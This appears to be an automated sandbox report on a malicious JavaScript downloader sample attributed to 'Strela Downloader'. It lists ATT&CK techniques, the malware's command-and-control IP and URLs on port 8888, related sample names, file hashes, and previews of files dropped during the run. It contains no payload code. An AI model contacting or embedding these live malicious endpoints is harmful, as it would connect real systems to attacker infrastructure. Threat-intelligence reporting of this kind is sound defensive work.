Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1917827975246096126.js	3%	Virustotal		Browse
1917827975246096126.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/sces	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/m	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2182528695.000001F6B3600000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3407223430.000001F6B3800000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/sces	net.exe, 00000007.00000002.2194028506.000001F3FF6F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2196691474.000001F3FF74C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2182453754.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2181653042.000001F3FF74A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2194028506.000001F3FF6F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2194125620.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/m	net.exe, 00000007.00000003.2182453754.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2194125620.000001F3FF72C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587830
Start date and time:	2025-01-10 18:20:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1917827975246096126.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.57.90.76, 23.57.90.78, 13.107.246.45, 34.237.241.83, 4.175.87.197, 23.206.252.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:21:40	API Interceptor	23x Sleep call for process: powershell.exe modified
12:21:44	API Interceptor	1x Sleep call for process: net.exe modified
12:21:44	API Interceptor	2x Sleep call for process: svchost.exe modified
12:21:51	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	647915480318827205.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263256006167192
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0I:9JZj5MiKNnNhoxux
MD5:	C7C30C5E75EAE365255660B7C2C2E4CF
SHA1:	C629188247A92BD5BC7C9A1D5E6B1595B95260DE
SHA-256:	BA8CEDF9224458DD5995F9906C129819772CBB980B60706E0DAFA0BB5B489544
SHA-512:	8FA1CEE0129054584611EDA19A768C72EC068F077678E17C149532153CCCC770623DAE8AE347CA0BD3A4A5AFDC93C832CCAA041DD974C68533088EB1792D7666
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x18f98870, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555813055058201
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	E5EBA4A4AA6DDF78F1BA24E954F19AF5
SHA1:	86F1A24EAE4401878E5A65C8932A49BECFB036CD
SHA-256:	58773D1F95DBBEBE0FF6CC922E74C35C496686A24AD3182F99509DD52B0A1EC9
SHA-512:	DAFBDDE737CD61BEF09E9FD1FA0B1E56DAF77226575201AD2A56266FA1660403A934D263C5188590F39BEE50AEC650580B6DFE205FABA9924E0635197CE130D5
Malicious:	false
Preview:	...p... .......7.......X\...;...{......................0.e......!...{?.-....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................N.-....}...................!..-....})..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07924233353663217
Encrypted:	false
SSDEEP:	3:hXlKYe/BvQNaAPaU1lBajOlluxmO+l/SNxOf:hXlKz/BvQNDPaUojKgmOH
MD5:	292C8A9A8C9593BE6341B60D47E585FB
SHA1:	2EAA66DED5CC298DBA9713590DC7A90D4FCC77EE
SHA-256:	9A9973934E975A30A3BCAB492FE5401336CE0AB7D102DC123DC8B99960FC467E
SHA-512:	AC4F79409315369AABFA0791FAD2D4D805FCFDFACB22FB74EFC748FAF5398FDB17CA74201979C36B3AE23E0047B54BF50C13E5DC122B85AC548AE312933A8A7E
Malicious:	false
Preview:	..t......................................;...{..-....})..!...{?..........!...{?..!...{?..g...!...{?..................!..-....}).........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.176919065609463
Encrypted:	false
SSDEEP:	6:iO4iZN9+q2PN72nKuAl9OmbnIFUtSixJZmwsix9VkwON72nKuAl9OmbjLJ:78vVaHAahFUt5/l5OaHAaSJ
MD5:	3A36F46AEEE68D6795232A6C945B4002
SHA1:	D625B462BACF2F11AFAD71F7119F2D9F5F9CF235
SHA-256:	9B4A09BAB4A6F1D5A57F643665A0F6F66F6F4A4DA5B5BD473360F7A40E9E80E9
SHA-512:	61C1EE3E22FEFEEB8C121955B9322C9073BF1BF0DB916F1742945BADB91ECFEA56F45A5615363921288D5303BD7695DAC497E69AF660D64F91F888E656BEC4CA
Malicious:	false
Preview:	2025/01/10-12:21:44.456 1488 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:21:44.465 1488 Recovering log #3.2025/01/10-12:21:44.465 1488 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.176919065609463
Encrypted:	false
SSDEEP:	6:iO4iZN9+q2PN72nKuAl9OmbnIFUtSixJZmwsix9VkwON72nKuAl9OmbjLJ:78vVaHAahFUt5/l5OaHAaSJ
MD5:	3A36F46AEEE68D6795232A6C945B4002
SHA1:	D625B462BACF2F11AFAD71F7119F2D9F5F9CF235
SHA-256:	9B4A09BAB4A6F1D5A57F643665A0F6F66F6F4A4DA5B5BD473360F7A40E9E80E9
SHA-512:	61C1EE3E22FEFEEB8C121955B9322C9073BF1BF0DB916F1742945BADB91ECFEA56F45A5615363921288D5303BD7695DAC497E69AF660D64F91F888E656BEC4CA
Malicious:	false
Preview:	2025/01/10-12:21:44.456 1488 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:21:44.465 1488 Recovering log #3.2025/01/10-12:21:44.465 1488 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.152076521335162
Encrypted:	false
SSDEEP:	6:iO4ir9+q2PN72nKuAl9Ombzo2jMGIFUtSiTUJZmwsiNX9VkwON72nKuAl9Ombzos:7kvVaHAa8uFUtB2/B5OaHAa8RJ
MD5:	FEC2229AC6EDE24DBB52F00CF14BB0F9
SHA1:	A4D29F1BE04970489C887DB9A2B3D77D6D98AC68
SHA-256:	0AEF1FAE4A35EB7F4063F14ED79D519F5014F55A884BA2B0C0D525E6C308FAA5
SHA-512:	D81A5852D9214C8BDE80F19F6483E1CCA7EAF58951F30986C0DBCE3D75C87681EFFAF649DDA083DEC790305A75F509F8B0453CED66FC0BF7E77B0D9CCC73C29D
Malicious:	false
Preview:	2025/01/10-12:21:44.476 1208 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:21:44.477 1208 Recovering log #3.2025/01/10-12:21:44.478 1208 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.152076521335162
Encrypted:	false
SSDEEP:	6:iO4ir9+q2PN72nKuAl9Ombzo2jMGIFUtSiTUJZmwsiNX9VkwON72nKuAl9Ombzos:7kvVaHAa8uFUtB2/B5OaHAa8RJ
MD5:	FEC2229AC6EDE24DBB52F00CF14BB0F9
SHA1:	A4D29F1BE04970489C887DB9A2B3D77D6D98AC68
SHA-256:	0AEF1FAE4A35EB7F4063F14ED79D519F5014F55A884BA2B0C0D525E6C308FAA5
SHA-512:	D81A5852D9214C8BDE80F19F6483E1CCA7EAF58951F30986C0DBCE3D75C87681EFFAF649DDA083DEC790305A75F509F8B0453CED66FC0BF7E77B0D9CCC73C29D
Malicious:	false
Preview:	2025/01/10-12:21:44.476 1208 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:21:44.477 1208 Recovering log #3.2025/01/10-12:21:44.478 1208 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\41c5f8d2-6b87-419d-8ee7-44d0345a4574.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF722475.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d56c68b0-59dc-43e3-a833-bc38ef10fe19.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqQXMksBdOg2Hccaq3QYiubcP7E4T3y:Y2sRds9udMHf3QYhbA7nby
MD5:	AC100AAAB8F0D935691A5AB94BB7C8E7
SHA1:	756E29BB5E27A198BE66E256C5ABFAE2A5969F21
SHA-256:	45403FA357039A4178A6F2950DBCAC5356F0819DD60DD66369886E5E95B003A4
SHA-512:	2292E6A497F0A13A6E29A8022FF3AD097D4BF09930F8973D51212D8BEBD9D25C2C6C9C93A4321C2B637FE4F13707F3F983999C18105FF6ED292CE042DEE30B0D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089716286243","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130912},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.247287571225475
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE70M7Ht:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhp
MD5:	DDE285B8143E13AA4C29F112CCFF8409
SHA1:	8E9998449EC2D3F75ECB4592D872BABD5B04A3BD
SHA-256:	67E6FF6D78E7A9B3CAF19991727FE65FF1A3975247DB8553083A5CD2321F1397
SHA-512:	288EB171BD8055A556F42A3BC92634872236A534BC5C58B9697842C12C67304F9EBF81BA5403E0D2A5F1A2BDE71EB8EDFBFD089B2B06E04D92D4DF4D5CEC26E3
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.137653913096701
Encrypted:	false
SSDEEP:	6:iO4gB9+q2PN72nKuAl9OmbzNMxIFUtSIiJZmwsW99VkwON72nKuAl9OmbzNMFLJ:79ivVaHAa8jFUtQ//5OaHAa84J
MD5:	22AB7908BD790701ABFDBDB9AF838736
SHA1:	B56720346213FB6CA7891B3DC11BF0207EC1014C
SHA-256:	A1EC064CBB4649E51C078AD8C2D79C96BF659F2A4551FDDF5C43B4D2B7289C56
SHA-512:	BCB35ED0CCD5FBBD89A2FD79574BC95432ECD5D1EE3C9246E412EB4EEFA0CDF339F7BADB71AE1D16DB475716174C03746B9C124DA5F087131D60576F9F4BB4B2
Malicious:	false
Preview:	2025/01/10-12:21:44.685 1208 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:21:44.701 1208 Recovering log #3.2025/01/10-12:21:44.713 1208 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.137653913096701
Encrypted:	false
SSDEEP:	6:iO4gB9+q2PN72nKuAl9OmbzNMxIFUtSIiJZmwsW99VkwON72nKuAl9OmbzNMFLJ:79ivVaHAa8jFUtQ//5OaHAa84J
MD5:	22AB7908BD790701ABFDBDB9AF838736
SHA1:	B56720346213FB6CA7891B3DC11BF0207EC1014C
SHA-256:	A1EC064CBB4649E51C078AD8C2D79C96BF659F2A4551FDDF5C43B4D2B7289C56
SHA-512:	BCB35ED0CCD5FBBD89A2FD79574BC95432ECD5D1EE3C9246E412EB4EEFA0CDF339F7BADB71AE1D16DB475716174C03746B9C124DA5F087131D60576F9F4BB4B2
Malicious:	false
Preview:	2025/01/10-12:21:44.685 1208 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:21:44.701 1208 Recovering log #3.2025/01/10-12:21:44.713 1208 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444569594578734
Encrypted:	false
SSDEEP:	384:ie/ci5tliBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:POs3OazzU89UTTgUL
MD5:	768FBE39610BAA9CEC5362DE558DC8B2
